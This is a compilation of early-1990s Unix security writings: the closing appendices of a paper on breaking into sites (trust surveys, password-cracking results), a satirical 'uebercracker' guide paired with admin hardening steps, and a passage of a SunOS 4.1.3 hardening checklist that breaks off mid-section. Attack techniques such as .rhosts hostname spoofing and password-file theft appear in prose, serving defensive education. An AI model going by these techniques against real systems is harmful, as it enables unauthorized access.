crackers have shown little reticence to share their information with each other. While it is almost certain that some of the information presented here is new material to (aspiring) system crackers, and that some will use it to gain unauthorized entrance onto hosts, the evidence presented even by our ad hoc tests shows that there is a much larger number of insecure sites, simply because the system administrators don't know any better -- they aren't stupid or slow, they simply are unable to spend the very little free time that they have to explore all of the security issues that pertain to their systems. Combine that with no easy access to this sort of information and you have poorly defended systems. We (modestly) hope that this paper will provide badly-needed data on how systems are broken into, and further, to explain _why_ certain steps should be taken to secure a system. Knowing why something is a problem is, in our opinion, the real key to learning and to making an informed, intelligent choice as to what security really means for your site. ---- Appendix A: SATAN (Security Analysis Tool for Auditing Networks) Originally conceived some years ago, SATAN is actually the prototype of a much larger and more comprehensive vision of a security tool. In its current incarnation, SATAN remotely probes and reports various bugs and weaknesses in network services and windowing systems, as well as detailing as much generally useful information as possible about the target(s). It then processes the data with a crude filter and what might be termed an expert system to generate the final security analysis. While not particularly fast, it is extremely modular and easy to modify. SATAN consists of several sub-programs, each of which is an executable file (perl, shell, compiled C binary, whatever) that tests a host for a given potential weakness. Adding further test programs is as simple as putting an executable into the main directory with the extension ".sat"; the driver program will automatically execute it. The driver generates a set of targets (using DNS and a fast version of ping together to get "live" targets), and then executes each of the programs over each of the targets. A data filtering/interpreting program then analyzes the output, and lastly a reporting program digests everything into a more readable format. The entire package, including source code and documentation, will be made freely available to the public, via anonymous ftp and by posting it to one of the numerous source code groups on the Usenet. ---- Appendix B: An informal survey conducted on about a dozen Internet sites (educational, military, and commercial, with over 200 hosts and 40000 accounts) revealed that on the average, close to 10 percent of a site's accounts had .rhosts files. These files averaged six trusted hosts each; however, it was not uncommon to have well over one hundred entries in an account's .rhosts file, and on a few occasions, the number was over five hundred! (This is not a record one should be proud of owning.) In addition, _every_ site directly on the internet (one site was mostly behind a firewall) trusted a user or host at another site -- thus, the security of the site was not under the system administrators direct control. The larger sites, with more users and hosts, had a lower percentage of users with .rhosts files, but the size of .rhosts files increased, as well as the number of trusted off-site hosts. Although it was very difficult to verify how many of the entries were valid, with such hostnames such as "Makefile", "Message-Id:", and "^Cs^A^C^M^Ci^C^MpNu^L^Z^O", as well as quite a few wildcard entries, we question the wisdom of putting a site's security in the hands of its users. Many users (especially the ones with larger .rhosts files) attempted to put shell-style comments in their .rhosts files, which most UNIX systems attempt to resolve as valid host names. Unfortunately, an attacker can then use the DNS and NIS hostname spoofing techniques discussed earlier to set their hostname to "#" and freely log in. This puts a great many sites at risk (at least one major vendor ships their systems with comments in their /etc/hosts.equiv files.) You might think that these sites were not typical, and, as a matter of fact, they weren't. Virtually all of the administrators knew a great deal about security and write security programs for a hobby or profession, and many of the sites that they worked for did either security research or created security products. We can only guess at what a "typical" site might look like. ---- Appendix C: After receiving mail from a site that had been broken into from one of our systems, an investigation was started. In time, we found that the intruder was working from a list of ".com" (commercial) sites, looking for hosts with easy-to steal password files. In this case, "easy-to-steal" referred to sites with a guessable NIS domainname and an accessible NIS server. Not knowing how far the intruder had gotten, it looked like a good idea to warn the sites that were in fact vulnerable to password file theft. Of the 656 hosts in the intruder's hit list, 24 had easy-to-steal password files -- about one in twenty-five hosts! One third of these files contained at least one password-less account with an interactive shell. With a grand total of 1594 password-file entries, a ten-minute run of a publically-available password cracker (Crack) revealed more than 50 passwords, using nothing but a low-end Sun workstation. Another 40 passwords were found within the next 20 minutes; and a root password was found in just over an hour. The result after a few days of cracking: five root passwords found, 19 out of 24 password files (eighty percent) with at least one known password, and 259 of 1594 (one in six) passwords guessed. ---- Appendix D: How to get some free security resources on the Internet Mailing lists: o The CERT (Computer Emergency Response Team) advisory mailing list. Send e-mail to cert@cert.org, and ask to be placed on their mailing list. o The Phrack newsletter. Send an e-mail message to phrack@well.sf.ca.us and ask to be added to the list. o The Firewalls mailing list. Send the following line to majordomo@greatcircle.com: subscribe firewalls o Computer Underground Digest. Send e-mail to tk0jut2@mvs.cso.niu.edu, asking to be placed on the list. Free Software: COPS (Computer Oracle and Password System) is available via anonymous ftp from archive.cis.ohio-state.edu, in pub/cops/1.04+. The tcp wrappers are available via anonymous ftp from ftp.win.tue.nl, in pub/security. The latest version of berkeley sendmail is available via anonymous ftp from ftp.cs.berkeley.edu, in ucb/sendmail. Sources for ftpd and many other network utilities can be found in ftp.uu.net, in packages/bsd-sources. Source for ISS (Internet Security Scanner), a tool that remotely scans for various network vulnerabilities, is available via anonymous ftp from ftp.uu.net, in usenet/comp.sources.misc/volume40/iss. Securelib is available via anonymous ftp from ftp.uu.net, in usenet/comp.sources.misc/volume36/securelib. ---- Bibliography: Baldwin, Robert W., Rule Based Analysis of Computer Security, Massachusetts Institute of Technology, June 1987. Bellovin, Steve, Using the Domain Name System for System Break-ins, 1992 (unpublished). Massachusetts Institute of Technology, X Window System Protocol, Version 11, 1990. Shimomura, Tsutomu, private communication. Sun Microsystems, OpenWindows V3.0.1 User Commands, March 1992. ---- Suggested reading: Bellovin, Steve -- "Security Problms in the TCP/IP Protocol Suite", Computer Communication Review 19 (2), 1989; a comment by Stephen Kent appears in volume 19 (3), 1989. Garfinkle, Simson and Spafford, Gene, "Practical UNIX Security", O'Reilly and Associates, Inc., 1992. Hess, David, Safford, David, and Pooch, Udo, "A UNIX Network Protocol Study: Network Information Service", Computer Communication Review 22 (5) 1992. Phreak Accident, Playing Hide and Seek, UNIX style, Phrack, Volume Four, Issue Forty-Three, File 14 of 27. Ranum, Marcus, "Firewalls" internet electronic mailing list, Sept 1993. Schuba, Christoph, "Addressing Weaknesses in the Domain Name System Protocal", Purdue University, August 1993. Thompson, Ken, Reflections on Trusting Trust, Communications of the ACM 27 (8), 1984. --

A Guide to Internet Security: Becoming an Ubercracker and Becoming an Uberadmin to Stop Ubercrackers, by Christopher Klaus (December 5, 1993)

A Guide to Internet Security: Becoming an Uebercracker
and Becoming an UeberAdmin to stop Uebercrackers.

Author: Christopher Klaus <cklaus@shadow.net>
Date: December 5th, 1993.
Version: 1.1

This is a paper will be broken into two parts, one showing 15 easy steps
to becoming a uebercracker and the next part showing how to become a
ueberadmin and how to stop a uebercracker. A uebercracker is a term phrased
by Dan Farmer to refer to some elite (cr/h)acker that is practically
impossible to keep out of the networks.

Here’s the steps to becoming a uebercracker.

Step 1. Relax and remain calm. Remember YOU are a Uebercracker.

Step 2. If you know a little Unix, you are way ahead of the crowd and skip
past step 3.

Step 3. You may want to buy Unix manual or book to let you know what
ls,cd,cat does.

Step 4. Read Usenet for the following groups: alt.irc, alt.security,
comp.security.unix. Subscribe to Phrack@well.sf.ca.us to get a background
in uebercracker culture.

Step 5. Ask on alt.irc how to get and compile the latest IRC client and
connect to IRC.

Step 6. Once on IRC, join the #hack channel. (Whew, you are half-way
there!)

Step 7. Now, sit on #hack and send messages to everyone in the channel
saying “Hi, Whats up?”. Be obnoxious to anyone else that joins and asks
questions like “Why cant I join #warez?”

Step 8. (Important Step) Send private messages to everyone asking for new
bugs or holes. Here’s a good pointer, look around your system for binary
programs suid root (look in Unix manual from step 3 if confused). After
finding a suid root binary, (ie. su, chfn, syslog), tell people you have a
new bug in that program and you wrote a script for it. If they ask how it
works, tell them they are “layme”. Remember, YOU are a UeberCracker. Ask
them to trade for their get-root scripts.

Step 9. Make them send you some scripts before you send some garbage file
(ie. a big core file). Tell them it is encrypted or it was messed up and
you need to upload your script again.

Step 10. Spend a week grabbing all the scripts you can. (Dont forget to be
obnoxious on #hack otherwise people will look down on you and not give you
anything.)

Step 11. Hopefully you will now have atleast one or two scripts that get
you root on most Unixes. Grab root on your local machines, read your
admin’s mail, or even other user’s mail, even rm log files and whatever
temps you. (look in Unix manual from step 3 if confused).

Step 12. A good test for true uebercrackerness is to be able to fake mail.
Ask other uebercrackers how to fake mail (because they have had to pass the
same test). Email your admin how “layme” he is and how you got root and how
you erased his files, and have it appear coming from satan@evil.com.

Step 13. Now, to pass into supreme eliteness of uebercrackerness, you brag
about your exploits on #hack to everyone. (Make up stuff, Remember, YOU are
a uebercracker.)

Step 14. Wait a few months and have all your notes, etc ready in your room
for when the FBI, Secret Service, and other law enforcement agencies
confinscate your equipment. Call eff.org to complain how you were innocent
and how you accidently gotten someone else’s account and only looked
because you were curious. (Whatever else that may help, throw at them.)

Step 15. Now for the true final supreme eliteness of all uebercrackers, you
go back to #hack and brag about how you were busted. YOU are finally a
true Uebercracker.

Now the next part of the paper is top secret. Please only pass to trusted
administrators and friends and even some trusted mailing lists, Usenet
groups, etc. (Make sure no one who is NOT in the inner circle of security
gets this.)

This is broken down on How to Become an UeberAdmin (otherwise know as a
security expert) and How to stop Uebercrackers.

Step 1. Read Unix manual ( a good idea for admins ).

Step 2. Very Important. chmod 700 rdist; chmod 644 /etc/utmp. Install
sendmail 8.6.4. You have probably stopped 60 percent of all Uebercrackers
now. Rdist scripts is among the favorites for getting root by
uebercrackers.

Step 3. Okay, maybe you want to actually secure your machine from the
elite Uebercrackers who can break into any site on Internet.

Step 4. Set up your firewall to block rpc/nfs/ip-forwarding/src routing
packets. (This only applies to advanced admins who have control of the
router, but this will stop 90% of all uebercrackers from attempting your
site.)

Step 5. Apply all CERT and vendor patches to all of your machines. You have
just now killed 95% of all uebercrackers.

Step 6. Run a good password cracker to find open accounts and close them.
Run tripwire after making sure your binaries are untouched. Run tcp_wrapper
to find if a uebercracker is knocking on your machines. Run ISS to make
sure that all your machines are reasonably secure as far as remote
configuration (ie. your NFS exports and anon FTP site.)

Step 7. If you have done all of the following, you will have stopped 99%
of all uebercrackers. Congrads! (Remember, You are the admin.)

Step 8. Now there is one percent of uebercrackers that have gained
knowledge from reading some security expert’s mail (probably gained access
to his mail via NFS exports or the guest account. You know how it is, like
the mechanic that always has a broken car, or the plumber that has the
broken sink, the security expert usually has an open machine.)

Step 9. Here is the hard part is to try to convince these security experts
that they are not so above the average citizen and that by now giving out
their unknown (except for the uebercrackers) security bugs, it would be a
service to Internet. They do not have to post it on Usenet, but share
among many other trusted people and hopefully fixes will come about and
new pressure will be applied to vendors to come out with patches.

Step 10. If you have gained the confidence of enough security experts,
you will know be a looked upto as an elite security administrator that is
able to stop most uebercrackers. The final true test for being a ueberadmin
is to compile a IRC client, go onto #hack and log all the bragging and
help catch the uebercrackers. If a uebercracker does get into your system,
and he has used a new method you have never seen, you can probably tell
your other security admins and get half of the replies like – “That bug
been known for years, there just isn’t any patches for it yet. Here’s my
fix.” and the other half of the replies will be like – “Wow. That is very
impressive. You have just moved up a big notch in my security circle.”
VERY IMPORTANT HERE: If you see anyone in Usenet’s security newsgroups
mention anything about that security hole, Flame him for discussing it
since it could bring down Internet and all Uebercrackers will now have it
and the million other reasons to keep everything secret about security.

Well, this paper has shown the finer details of security on Internet. It has
shown both sides of the coin. Three points I would like to make that would
probably clean up most of the security problems on Internet are as the
following:

1. Vendors need to make security a little higher than zero in priority.
If most vendors shipped their Unixes already secure with most known bugs
that have been floating around since the Internet Worm (6 years ago) fixed
and patched, then most uebercrackers would be stuck as new machines get
added to Internet. (I believe Uebercracker is german for “lame copy-cat
that can get root with 3 year old bugs.”) An interesting note is that
if you probably check the mail alias for “security@vendor.com”, you will
find it points to /dev/null. Maybe with enough mail, it will overfill
/dev/null. (Look in manual if confused.)

2. Security experts giving up the attitude that they are above the normal
Internet user and try to give out information that could lead to pressure
by other admins to vendors to come out with fixes and patches. Most
security experts probably don’t realize how far their information has
already spread.

3. And probably one of the more important points is just following the
steps I have outlined for Stopping a Uebercracker.

Resources for Security:
Many security advisories are available from anonymous ftp cert.org.
Ask archie to find tcp_wrapper, security programs. For more information
about ISS (Internet Security Scanner), email cklaus@shadow.net.

Acknowledgements:

Thanks to the crew on IRC, Dan Farmer, Wietse Venema, Alec Muffet, Scott
Miles, Scott Yelich, and Henri De Valois.

Copyright:

This paper is Copyright 1993, 1994. Please distribute to only trusted
people. If you modify, alter, disassemble, reassemble, re-engineer or have
any suggestions or comments, please send them to:

cklaus@shadow.net

How to improve security on a newly installed SunOS 4.1.3 system. by Thomas M. Kroeger (July 1994)

From tmk@uhunix.uhcc.Hawaii.Edu Thu Jun 30 08:54:17 EDT 1994
Subject: How to improve security on a newly installed SunOS 4.1.3 system.
Summary: How to improve security on a newly installed SunOS 4.1.3 system.
X-Newsreader: TIN [version 1.2 PL2]
Date: Thu, 30 Jun 1994 09:39:10 GMT

My appologies for taking so long with this it became much larger than
I’d though it would.
Please Note:
1) My intent in this was to limit my audience enough so that
this document would not become too large and cumbersome.
Please note the intended audience.
2) This document is sure to undergo revision, and I hesitate to
ever call any revision a final draft.
3) Please forgive any typo’s and gramatical errors. It’s late
and I wanted to get this out on a day other than Friday.
Send me notes of typos and spelling directly don’t bother
the rest of the net with such.
4) I’ll try to post when I’m able to put this list up on our
ftp server ftp.Hawaii.Edu:/pub/security.

Again many thanks to all those who provided feedback.

I’m not sure where the other lists are but here’s what I’ve got,
please let me know if it’s of help:

———————————————————————-

How to improve security on a newly installed SunOS 4.1.3 system.

Version 1.0..Thomas M. Kroeger – July 94
….tmk@hawaii.edu

Copyright — Thomas M. Kroeger – July 94
Please feel free to redistribute or include this list or parts of it
wherever you desire, but, please include appropriate citation.

Goal –
Attempt to provide a list of some of the more basic steps that
can be done to improve security on a newly installed SunOS 4.1.3 system.
This is by no means an all inclusive list of actions, just a list of
some simple and more common measures.

Intended Audience –
Anyone responsible for the system administration duties of a machine
running SunOS 4.1.3. These recommendations applicable to a stand-alone *
workstation. It is assumed that the reader has some familiarity with basic
system administration (you should be able to do a basic system installation
by yourself, install patches, and use an editor).

[* which may be connected to a larger network?]

NOTE: This list limits it’s coverage to measures that can
be done for a stand-alone workstation addition to the steps listed here
there are many measures that can be taken to improve the security of
an enviornment, measures such as; filtering traffic to port 2049/udp
at the routers will prevent NFS calls from outside your domain.

Disclaimer —
These recommendations come with no guarantees of anything! Support is only
offered within the University of Hawai’i community.

The truly paranoid may wish to these implement these recommendations while in
single user mode as an extra measure of security to avoid possible subversive
shenannigans by a wily cracker.

.
To Do on a system Just installed
——————————

Patches —
+ install the following patches

4.1.3 Security listing
100103 SunOS 4.1;4.1.1;4.1.2;4.1.3: script to change file permissions
100173 SunOS 4.1.1/4.1.2/4.1.3 : NFS Jumbo Patch
* 100224 SunOS 4.1.1,4.1.2,4.1.3: /bin/mail jumbo patch
100257 SunOS 4.1.1;4.1.2;4.1.3: jumbo patch for ld.so, ldd, and ldconf
100272 SunOS 4.1.3: Security update for in.comsat.
100296 SunOS 4.1.1, 4.1.2, 4.1.3: netgroup exports to world
100305 SunOS 4.1.1, 4.1.2, 4.1.3: lpr Jumbo Patch
100372 SunOS 4.1.1;4.1.2;4.1.3: tfs and c2 do not work together
* 100377 SunOS 4.1.1, 4.1.2, 4.1.3: sendmail jumbo patch
* 100383 SunOS 4.0.3;4.1;4.1.1;4.1.2;4.1.3: rdist security and hard link
100448 OpenWindows 3.0: loadmodule is a security hole.
100452 OpenWindows 3.0: XView 3.0 Jumbo Patch
100478 OpenWindows 3.0: xlock crashes leaving system open
* 100482 SunOS 4.1;4.1.1;4.1.2;4.1.3: ypserv and ypxfrd fix, plus DNS fi
100507 SunOS 4.1.1, 4.1.2, 4.1.3: tmpfs jumbo patch
100513 SunOS 4.1.1;4.1.2;4.1.3: Jumbo tty patch
100564 SunOS 4.1.2, 4.1.3: C2 Jumbo patch
* 100593 SunOS 4.1.3: Security update for dump.
100623 SunOS 4.1.2;4.1.3: UFS jumbo patch
100630 SunOS 4.1.1, 4.1.2, 4.1.3: SECURITY: methods to exploit login/su
100631 SunOS 4.1.x: env variables can be used to exploit login(US only)
* 100632 SunSHIELD 1.0: ARM jumbo patch release
100890 SunOS 4.1.3: domestic libc jumbo patch
100891 SunOS 4.1.3: international libc jumbo patch
100909 SunOS 4.1.1;4.1.2;4.1.3: Security update for syslogd.
101072 SunOS 4.1.1;4.1.2;4.1.3: Non-related data filled the last block
101080 SunOS 4.1.1 4.1.2 4.1.3: security problem with expreserve
101200 SunOS 4.1.1, 4.1.2, 4.1.3: Breach of security using modload
101206 ODS 1.0; NFS/fsirand security fix.
* 101480 SunOS 4.1.1;4.1.2;4.1.3: Security update for in.talkd.
* 101482 SunOS 4.1.3, 4.1.2, 4.1.1: Security update for write.
101640 SunOS 4.1.3: in.ftpd logs password info when -d option is used.
101710 ONLINE DISKSUITE (ODS) 1.0: Security update for dump.

4.1.3 U1 security listing
101434 SunOS 4.1.3_U1: lpr Jumbo Patch
* 101435 SunOS 4.1.3_U1: ypserv fix
* 101436 SunOS 4.1.3_U1: bin/mail jumbo patch
101440 SunOS 4.1.3_U1: security problem: methods to exploit login/su
101558 SunOS 4.1.3_U1: international libc jumbo patch
* 101579 SunOS 4.1.3_U1: Security problem with expreserve for Solaris 1.
101587 SunOS 4.1.3_U1: security patch for mfree and icmp redirect
101590 ONLINE DISKSUITE (ODS) 1.0, NFS/fsirand security fix
101621 SunOS 4.1.3_U1: Jumbo tty patch
* 101665 SunOS 4.1.3_U1: sendmail jumbo patch
101679 SunOS 4.1.3_U1: Breach of security using modload
101759 SunOS 4.1.3_U1: domestic libc jumbo patch

* – Note: some patches may not be required if you are disabling this
feature. If this is the case, ensure that all relevant files have had
their mode changed to remove the SUID bit — chmod u-s .

Note 2: Some patches may not necessarily apply based on packages
installed (US Encryption…) or your configuration. Please carefully
check the README for each patch.
Patches are available via anonymous ftp from
ftp.uu.net:/system/sun/sun-dist
.
Network level changes ——-

+ Disable source routing
Why:
Source routing enables the originating host to dictate the route the
packet will take. This can be used to spoof a system into believing
that the packets are coming from a trusted source.
How:
Install patch found in Ref. 19
More info: Ref. 2 [Cheswick 94] Chap 2, Ref. 19

+ Comment out all unnecessary services in /etc/inetd.conf
Why:
RPC services can be used to gain access as well as information about
a system. These are very site specific adjustments and will have to
be tailored to your needs. Additionally, TCP wrappers [Ref. 4] can be
used to improve loging, prevent IP spoofing (one host pretending to be
another to gain access) and limit access to a service as well as
totally removing it.
How:
Edit file /etc/inetd.conf and put a # in front of services that
are not needed.

Services possibly needed, but probably desired:
.ftp – possible needed for file transfer, however if all you
. want is outgoing ftp then this is can be commented out.
.telnet – obvious (recommend restricting with TCP wrappers Ref. 4)
.finger – Possibly but better to get a modified version that doesn’t
.. give up that much information (To be honest I have no
experience with any of these I’d recommend checking into
some of the ones on ftp.uu.net).
.talk – nice to have but how much will you miss it?

Services which are probably unnecessary – see man pages for details
.name – for name services (man tnamed)
.comsat – for mail – not necessary.
.login – for rlogin – please see discussion under ruserok().
.uucp – if you aren’t sure if your using this then you are not.
.exec – services for rexecd – do without.

Services recommended against – FIND A WAY TO LIVE WITHOUT.
.shell – for rsh — major source for security problems
.tftp – only needed for support of an X terminal or diskless
clients, doubtfully needed on a desktop machine.
More info: Ref. 4 [Venema 92]., Ref. 15

+ Enable NFS port monitoring (This is of value only if you are exporting
filesystems over NFS)
Why:
Port monitoring ensures that calls to NFS to mount a file system come
from a port < 1024 (in other words, a port that requires root access to use). How: The default /etc/rc.local sets up port monitoring only if the file /etc/security/passwd.adjunct exists. If you will be implementing shadowing then you can skip over this step. If you will not be implementing shadowing and you will be exporting files then you should modify /etc/rc.local to do the following 2 lines: (regardless of whether the passwd.adjunct file exists): echo "nfs_portmon/W1" | adb -w /vmunix /dev/kmem > /dev/null 2>&1
rpc.mountd

Shadowing is covered under the section Changes to ID Management.

Note: one possible side effect: non-sun nfs client might not
be able to mount exported files.
More info: Ref. 3 [Stern 92] pg 177 & mountd(8C)

+ Ensure that ypbind is started with the -s option.
Why:
Users could easily start thier own ypbind services and activate a
phony NIS database giving them access as any user.
How:
As with port monitoring the default /etc/rc.local sets up ypbind in the
secure mode (-s option) only if the file /etc/security/passwd.adjunct
exists. If you will be implementing shadowing then you can skip over
this step, overwise you should modify /etc/rc.local to start ypbind
with the -s option regardless of whether the passwd.adjunct file exists.
More info: ypbind(8)

+ Disable IP forwarding –
Why:
I’m not sure if this can be abused on a machine with only one interface
but I’d rather err of the side of safety. It could be used to spoof
an IP address.
How:
Install the following line in the kernel configuration file:
options “IPFORWARDING=-1”
For info on how to custom configure a kernel, see the file
/usr/sys/`arch`/conf/README.

.
Kernel changes ——-

+ modify ruserok() in /usr/lib/libc.so.1.8 (9 on 4.1.3 U1) to disable:
– root .rhosts authentication, wildcards in .rhosts, or
.rhosts entirely depending on the level of security you want.
Why:
ruserok() is a library routine that does the checking of both the
.rhosts and /etc/hosts.equiv files for all the r commands.
a) ruserok() uses the source IP address in the rpc request for
authentication. There are no guarantees that this address is correct.
This address can easily be spoofed, yielding illegitimate access to
a system.
b) Crackers will often insert +’s into users’ .rhosts file
to allow them to gain access at a latter date. Most users
don’t look at their .rhosts file too often.
Note: While using .rhosts prevents crackers from sniffing your users’
passwords, it also make them vulnerable to IP spoofing (claiming
to be a host that you’re not) it becomes a matter of preference
what level of protection you’d choose here.

How:
To modify the source code requires a source code license.
At Univ of Hawaii, modified version of libc.so.1.8 should be
available though the systems group.

For those who wish to create thier own modified version of ruserok()
please see the section at the end that describes some of the details
for creating a custom libc.so.

Additionally the logdaemon package Ref. 15 has a modified version
of libc.so that helps with this. This site also has BSD sources
for the ruserok() routine.

Finally TCP wrappers can also be used to restrict access to each
individual r command. Ref. 4

More info: ruserok(3), hosts.equiv(5),
source code file /lib/libc/net/rcmd.c, Ref. 4, Ref. 15

Filesystem change———-

+ create the file /etc/ftpusers
Why:
This file is a list of users that will not be allowed to access the
system via ftp. This prevents Joe Cracker from using ftp to
modify a file (such as /etc/passwd) if he is able to determine your
root password.
How:
create the file /etc/ftpuser with the following entries (one per line):
root, nobody, daemon, sys, bin, uucp, news, ingres, AUpwdauthd,
AUyppasswdd, sysdiag, sundiag, and any other ID’s that exist that
you don’t want to allow ftp access.

More info: man ftpusers(5)

+ Remove the + in /etc/hosts.equiv
Why:
Well….. Everyone gains access with this.
Note: This file should not have any comment lines.
More info: hosts.equiv(5)

+ edit /etc/exports remove all entries you don’t want exported.
– ensure whatever entries remain have restricted access
Why:
NFS leaves the normal file system protection up to the client
instead of the server. Acracker with root access on a client can
work around many of these protections. As a result filesystems
exported to the world are particularly vulnerable.
How:
Edit the file /etc/exports
1) Only export what you need to export. If you aren’t certain that
it needs to be exported, then it probably doesn’t.
2) Never export to the world. Use a -access=host.foo.bar.edu option.
3) When ever possible export the file systems read-only. option ro
You can use showmount -e to see what you currently have exported.

More info: exports(5), exportfs(8), showmount(8)

+ Install random number inode generator on filesystems fsirand
Why:
Predicable root handles assists crackers in abusing NFS. After
installing the patch for fsirand you’ll need to run fsirand for
all your filesystems.
How:
Ensure the filesystem is unmounted and run fsirand.
More info: fsirand(8), SunOS patch 100173 (NFS Jumbo)

+ nosuid in mounts
Why:
Use the nosuid option when adding entries to /etc/fstab to mount a
filesystem exported by another host. Anyone gaining access to the
other host can create or modify an existing program which could
compromise your system. Note: this doesn’t work on tmpfs filesystems.
How:
Include the nosuid when you add an entry to /etc/fstab to import
a filesystem.
More info: Ref. 3 [Stern 92] pg. 175 fstab(5)

+ Edit /etc/ttytab to remove the secure option from all entries.
Why:
The secure entry in /etc/ttytab allows logins directly to root on that
tty. If you feel that your machine is not in a physically secure
location, you may choose to remove the secure option from the
console as well.
More info: ttytab(5)

+ Set eeprom secure field to command or full –
Why:
If you feel that your machine is not in a secure location, then
the eeprom field secure can be used to prevent unauthorized root
access by crashing your machine. Note: with the full option the
system will not auto-reboot and will wait for the root password to
be entered.
More info: eeprom(8)

+ chmod 600 /dev/eeprom –
Why:
Prevents users from reading the eeprom passwd.
More info: eeprom(8)

+ Remove openprom support if you do not intend to use the eeprom
secure field.
Why:
A cracker who gains root access could install an eeprom password and
make your life a bit harder.
How:
Remove the device driver from the kernel by commenting out
the following:

# The “open EEPROM” pseudo-device is required to support the
# eeprom command.
#
pseudo-device openeepr # onboard configuration NVRAM
More info: eeprom(8)

+ Uncomment security options in frame buffer table file /etc/fbtab
Why:
Without these entries ownership of console devices will not be properly
set.
More info: fbtab(5)

+ add umask 022 to /etc/rc & /.login
Why:
Prevent key files created during startup and root operation from
being created world writeable. Note you may want to set umask in
/.login to 077 instead of 022
More info: umask(1), rc(8)

+ chmod go-w /etc/* ; chmod g+w /etc/dumpdates
Why:
None of these file in /etc should require write access
by world except for dumpdate, which requires group write access.
More info: chmod(1), aliases(5), state(5), utmp(5V), remote(5), rmtab(5)

+ edit /etc/rc.local to comment change part that chmod’s 666 motd
Why:
/etc/motd is the normal system’s message of the day; it won’t
allow people to gain root access, but it could be a nuisance if they
can change this anonymously. Additionally it is important to
ensure that the line “rm -f /tmp/t1” is at the begining of this part.

+ Chmod u-s the following files unless you specifically use them:
Why:
Changing the modes for those file which you will not be using
helps prevent would be crackers from exploiting unknown security
flaws in these files which could be used to compromise your system.

/usr/bin/cu ./usr/bin/tip ../usr/bin/fusage .
/usr/bin/nsquery ./usr/bin/uucp ../usr/bin/uuname
/usr/bin/uustat ./usr/bin/uux ../usr/ucb/rcp
/usr/ucb/rdist ./usr/ucb/rlogin ./usr/lib/uucp/uusched
/usr/lib/uucp/uuxqt /usr/ucb/rsh../usr/lib/uucp/uucico
/usr/games/hack /usr/games/chesstool ./usr/games/fortune
/usr/lib/exrecover /usr/games/robots ./usr/lib/uucp/remote.unknown
/usr/games/hack ./usr/games/snake./usr/bin/sunview1/sv_release
/usr/etc/rfsetup
/usr/bin/allocate – used with C2 security.
/usr/ucb/quota – used with disk quotas
/usr/lib/expreserve – used to recover edit session that died.

Following may only be needed to be run by user root; as such, they would
not need to be SUID root:
/usr/etc/shutdown /usr/lib/acct/accton

More info: lots of man pages 😉

+ chmod g-s the following file unless you specifically use them:
Why:
Changing the modes for those file which you will not be using helps
prevent would be crackers from exploiting unknown security flaws
in these files which could be used to compromise your system.

/usr/bin/wall ./usr/etc/trpt../usr/bin/sunview1/toolplaces
/usr/bin/iostat ./usr/bin/ipcs ../usr/ucb/vmstat
/usr/ucb/netstat ./usr/etc/arp ../usr/etc/dmesg
/usr/etc/dkinfo ./usr/etc/chill ../usr/etc/dumpfs
/usr/etc/devinfo ./usr/etc/nfsstat ./usr/old/perfmon
/openwin/bin/xload ./usr/kvm/pstat ../usr/kvm/crash
/usr/kvm/getcons ./usr/etc/kgmon ../usr/etc/trpt

More info: lots of man pages 😉

+ edit syslog.conf — uncomment auth & mail lines
Why:
The enables improved loging of logins and su’s be prepared for lots of
data.
More info: syslog.conf(5)

+ chmod 640 /vmunix; chgrp kmem /vmunix ;
Why:
Prevent crackers from finding out more about your kernel configuration.

.
Changes to ID management ——

+ Disable SUID passwd (if using NIS) or -F option in /bin/passwd
Why:
Here two options exist:
1) you are using NIS for your user database; so you don’t need
/bin/passwd (and the two hard links to it /bin/chfn & /bin/chsh)
to be SUID root.
2) You will have local entries in your /etc/passwd that you would
like to be able to change thier own passwd. Then please note that
/bin/passwd has a race condition that can be exploited to write to
files as root, allowing a cracker to gain root access.

In either case yppasswd (and ypchfn & ypchsh) does not need to
be SUID root.
How:
In all cases – cd /bin; chmod u-s yppasswd ypchfn ypchsh
Option 1 – cd /bin; chmod u-s passwd chfn chsh
Option 2a – Replace passwd with a proactive (check for bad passwds)
passwd program. Ref 7.
Option 2b – Do a binary edit of passwd (sun’s code) as shown below:
# cd /bin
# cp passwd passwd.old; chmod 700 passwd.old
# adb -w – passwd
not core file = passwd
/l ‘F:’
0x68de This address is required in the following step:
0x68de/w 0
0x68de: 0x463a = 0x0

# chmod 4711 /bin/passwd
Note: The following files should all contain the same code, and
be SUID root (unless chmod u-s was done above). If you intend
to use any of these, ensure they are a link to the modified
file /bin/passwd: yppasswd, ypchfn, ypchsh, chfn, chsh.
More info: Ref. 6 [8lgm]-Advisory-7.UNIX.passwd.11-May-1994.NEWFIX

+ remove ID sync:::
Why:
This ID is created to enable the admin to sync the file system before a
system crash. It defaults without and password, and can be abused to
gain access to the system. The simplest solution is to live without
this feature and remove this ID.
More info: passwd(5)

+ Implement shadowing
Why:
To restrict access to all users’ encrypted passwords. Even though
passwords are encrypted, Crack (a publicly available program) can
be used to effectively guess users’ passwords.
How:
This can be done two different ways:
1. by implementing Sun’s C2 security package, which
provides additional auditing. I’ve found that this auditing can be
troublesome to maintain and I didn’t have need for the extensive data.
2. the second option is to implement shadowing but not C2, this
procedure is fully explained in detail in Ref. 5. In short:
– ensure patch 100564 is installed, (note this also implements
securenets for NIS)
– split /etc/passwd into /etc/passwd & /etc/security/passwd.adjunct
– split /etc/group into /etc/group & /etc/security/group.adjunct
– add required Audit users (even if not implementing auditing)
– comment out the part of rc.local that starts audit
– reboot.
The existence of the file /etc/security/passwd.adjunct has several
other effects in rc.local that improve system security; (ypbind -s
and rpc.mountd without -n).
More info: Ref 5

+ ensure all ID’s have passwd
Why:
Any ID without a password provides open access to your system,
Root comes without a password.
More info: passwd(5)
.
Modify mail system —–
Why:
The sendmail program itself has been notorious for numerous bugs that
gave crackers root access illegitimately. This is a huge topic and
should be a paper or book in itself. I claim no expertise here, and
to my great fortune my sendmail experience is limited. 😉
There are several different possible configurations and options
I’ll outline them and point you to further References.

Host configuration:
1. If you intend to send and receive mail directly on your machine.
Options are:
a. Live with sendmail – install the newest version 8.6.9 (currently)
.- ensure a mail file is always in existence for all users
Ref.10 &11.
– “chmod u-s /bin/mail” and change sendmail to use “procmail”
..or mail.local Ref. 17
. Ref.where to get???
– change sendmail default UID in sendmail.cf to 65534 “Ou65534”
– turn on security features of sendmail:
“Opauthwarnings needmailhelo noexpn novrfy restrictmailq”
Refs. 2 [Cheswick & Bellovin 94] & 9 [Costales 93]

b. Install zmailer — Ref 8 [URL to zmailer package]
– zmailer does not use /bin/mail so chmod u-s /bin/mail

2. If mail for your host is received on a different host (ie. local mail
delivery is handled by another host). Here your system should only
need to support outgoing mail. To prevent the sendmail daemon from
being started comment out the part or /etc/rc.local that starts
